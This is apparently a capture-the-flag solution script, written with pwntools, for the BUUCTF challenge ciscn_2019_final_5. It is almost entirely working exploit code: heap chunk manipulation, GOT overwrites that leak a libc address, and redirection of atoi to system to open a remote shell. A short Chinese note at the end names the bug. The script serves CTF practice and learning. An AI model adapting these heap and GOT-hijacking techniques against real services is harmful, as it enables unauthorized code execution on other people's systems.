ciscn_final_5.py

#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
 
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')

# p = process('./pwn')
p = remote('node3.buuoj.cn', 25264)
elf = ELF('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc.so')
LIST_CHUNK = 0x6020E0

def debug(p, cmd):
    gdb.attach(p, cmd)
    pause()

def add(idx, size, payload):
    p.sendlineafter('your choice:', str(1))
    p.sendlineafter('index:', str(idx))
    p.sendlineafter('size:', str(size))
    p.sendafter('content:', payload)

def delete(idx):
    p.sendlineafter('your choice:', str(2))
    p.sendlineafter('index: ', str(idx))

def edit(idx, payload):
    p.sendlineafter('your choice:', str(3))
    p.sendlineafter('index: ', str(idx))
    p.sendafter('content: ', payload)

def exploit():
    # '''
    # [0x602018] free@GLIBC_2.2.5 -> 0x400786 (free@plt+6) ◂— push   0 /* 'h' */
    # [0x602020] puts@GLIBC_2.2.5 -> 0x7ffff7a64a30 (puts) ◂— push   r13
    # [0x602028] __stack_chk_fail@GLIBC_2.4 -> 0x4007a6 (__stack_chk_fail@plt+6) ◂— push   2
    # [0x602030] printf@GLIBC_2.2.5 -> 0x7ffff7a48f00 (printf) ◂— sub    rsp, 0xd8
    # [0x602038] memset@GLIBC_2.2.5 -> 0x7ffff7a9f940 (__memset_sse2_unaligned_erms) ◂— movd   xmm0, esi
    # [0x602040] alarm@GLIBC_2.2.5 -> 0x7ffff7ac88a0 (alarm) ◂— mov    eax, 0x25
    # [0x602048] read@GLIBC_2.2.5 -> 0x7ffff7af4180 (read) ◂— lea    rax, [rip + 0x2e0771]
    # [0x602050] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7a05ab0 (__libc_start_main) ◂— push   r13
    # [0x602058] srand@GLIBC_2.2.5 -> 0x7ffff7a27c60 (srandom) ◂— sub    rsp, 8
    # [0x602060] time@GLIBC_2.2.5 -> 0x7ffff7ffb930 (time) ◂— push   rbp
    # [0x602068] malloc@GLIBC_2.2.5 -> 0x400826 (malloc@plt+6) ◂— push   0xa /* 'h\n' */
    # [0x602070] setvbuf@GLIBC_2.2.5 -> 0x7ffff7a65360 (setvbuf) ◂— push   r13
    # [0x602078] atoi@GLIBC_2.2.5 -> 0x7ffff7a24730 (atoi) ◂— sub    rsp, 8
    # [0x602080] exit@GLIBC_2.2.5 -> 0x400856 (exit@plt+6) ◂— push   0xd /* 'h\r' */
    # '''
    payload = p64(0) + p64(0x91)
    add(0x10, 0x10, payload)
    add(1, 0xc0, 'mech0n\n')

    # debug(p, 'b *0x400D14\n')
    delete(0)
    delete(1)
    payload = p64(0) + p64(0x21) + p64(LIST_CHUNK)
    add(2, 0x80, payload)
    payload = p64(elf.got['free']) + p64(elf.got['puts'] + 1) + p64(elf.got['atoi'] - 5) + p64(0) * 17 + p64(0x10) + p64(0x10) + p64(0x10)
    payload = payload.ljust(0xc0, '\x00')
    add(3, 0xc0, 'mech0n\n')
    # debug(p, 'b *0x400BF2\n')
    add(4, 0xc0, payload)

    payload = p64(elf.plt['puts']) * 2
    edit(8, payload)
    delete(1)
    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    success('PUTS: ' + str(hex(puts_addr)))
    libc.address = puts_addr - libc.sym['puts']
    success('LIBC: ' + str(hex(libc.address)))
    pause()

    payload = p64(libc.sym['system']) * 2
    edit(3, payload)
    p.sendafter('your choice:', '/bin/sh\x00')
    p.interactive()    
    
 
if __name__ == "__main__":
    exploit()

通过给定的或函数和与函数造成的地址部分写

BUUCTF-PWN ciscn_2019_final_5（临界条件错误，劫持GOT表项）